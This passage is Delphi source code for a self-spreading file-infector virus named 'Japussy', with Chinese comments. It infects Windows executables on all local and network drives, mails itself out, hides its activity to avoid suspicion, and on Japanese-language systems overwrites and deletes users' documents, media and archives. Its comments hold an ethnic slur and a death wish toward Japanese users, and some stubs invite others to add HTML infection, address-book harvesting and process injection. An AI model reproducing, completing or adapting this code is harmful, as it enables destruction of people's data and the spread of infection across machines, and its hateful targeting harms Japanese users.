IsPE := True; //是PE文件
          Break;
        end;
      end;
      SrcStream.Seek(-4, soFromEnd); //檢查感染標(biāo)記
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then //如果感染過(guò)了或不是PE文件則退出
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //得到被感染文件的主圖標(biāo)(744字節(jié))，存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //頭文件
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        //寫入病毒體主圖標(biāo)之前的數(shù)據(jù)
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //寫入目前程序的主圖標(biāo)
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //寫入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //寫入宿主程序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //寫入已感染的標(biāo)記
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替換宿主文件
      DstStream.Free;
    end;
  except;
  end;
end;

{ 將目標(biāo)文件寫入垃圾碼后刪除 }

procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
    FileHandle := FileOpen(FileName, fmOpenWrite); //打開(kāi)文件
    try
      Size := GetFileSize(FileHandle, nil); //文件大小
      i := 0;
      Randomize;
      Max := Random(15); //寫入垃圾碼的隨機(jī)次數(shù)
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; //每個(gè)間隔塊的大小
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //寫入垃圾碼，將文件徹底破壞掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); //關(guān)閉文件
    end;
    DeleteFile(PChar(FileName)); //刪除之
  except
  end;
end;

{ 獲得可寫的驅(qū)動(dòng)器列表 }

function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //遍歷26個(gè)字母
  begin
    D := Chr(i + 65);
    Str := D + ':\';
    DiskType := GetDriveType(PChar(Str));
    //得到本地磁盤和網(wǎng)絡(luò)盤
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result + D;
  end;
end;

{ 遍歷目錄，感染和摧毀文件 }

procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
      Result := 0 //不是目錄
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
        Result := 1 //不是根目錄
    else Result := 2; //是根目錄
  end;
begin
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  begin
    repeat
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調(diào)整消息隊(duì)列，避免引起懷疑
      if IsValidDir(SearchRec) = 0 then
      begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = '.EXE') or (Ext = '.SCR') then
        begin
          InfectOneFile(Fn); //感染可執(zhí)行文件        
        end
        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
          //感染HTML和ASP文件，將Base64編碼后的病毒寫入
          //感染瀏覽此網(wǎng)頁(yè)的所有用戶
          //哪位大兄弟愿意完成之？
        end
        else if Ext = '.WAB' then //Outlook地址簿文件
        begin
          //獲取Outlook郵件地址
        end
        else if Ext = '.ADC' then //Foxmail地址自動(dòng)完成文件
        begin
          //獲取Foxmail郵件地址
        end
        else if Ext = 'IND' then //Foxmail地址簿文件
        begin
          //獲取Foxmail郵件地址
        end
        else 
        begin
          if IsJap then //是倭文操作系統(tǒng)
          begin
            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
              (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
              (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
              (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
              (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
              (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
                SmashFile(Fn); //摧毀文件
          end;
        end;
      end;
      //感染或刪除一個(gè)文件后睡眠200毫秒，避免CPU占用率過(guò)高引起懷疑
      Sleep(200);
    until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  begin
    repeat
      if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
    until (FindNext(SearchRec) <> 0);
    end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
    LoopFiles(Path + SubDir.Strings[i] + '\', Mask);
  FreeAndNil(SubDir);
end;

{ 遍歷磁盤上所有的文件 }

procedure InfectFiles;
var
  DriverList: string;
  i, Len: Integer;
begin
  if GetACP = 932 then //日文操作系統(tǒng)
    IsJap := True; //去死吧！
  DriverList := GetDrives; //得到可寫的磁盤列表
  Len := Length(DriverList);
  while True do //死循環(huán)
  begin
    for i := Len downto 1 do //遍歷每個(gè)磁盤驅(qū)動(dòng)器
      LoopFiles(DriverList[i] + ':\', '*.*'); //感染之
    SendMail; //發(fā)帶毒郵件
    Sleep(1000 * 60 * 5); //睡眠5分鐘
  end;
end;

{ 主程序開(kāi)始 }

begin
  if IsWin9x then //是Win9x
    RegisterServiceProcess(GetCurrentProcessID, 1) //注冊(cè)為服務(wù)進(jìn)程
  else //WinNT
  begin
    //遠(yuǎn)程線程映射到Explorer進(jìn)程
    //哪位兄臺(tái)愿意完成之？
  end;
  //如果是原始病毒體自己
  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
    InfectFiles //感染和發(fā)郵件
  else //已寄生于宿主程序上了，開(kāi)始工作
  begin
    TmpFile := ParamStr(0); //創(chuàng)建臨時(shí)文件
    Delete(TmpFile, Length(TmpFile) - 4, 4);
    TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個(gè)空格
    ExtractFile(TmpFile); //分離之
    FillStartupInfo(Si, SW_SHOWDEFAULT);
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
      0, nil, '.', Si, Pi); //創(chuàng)建新進(jìn)程運(yùn)行之
    InfectFiles; //感染和發(fā)郵件
  end;
end.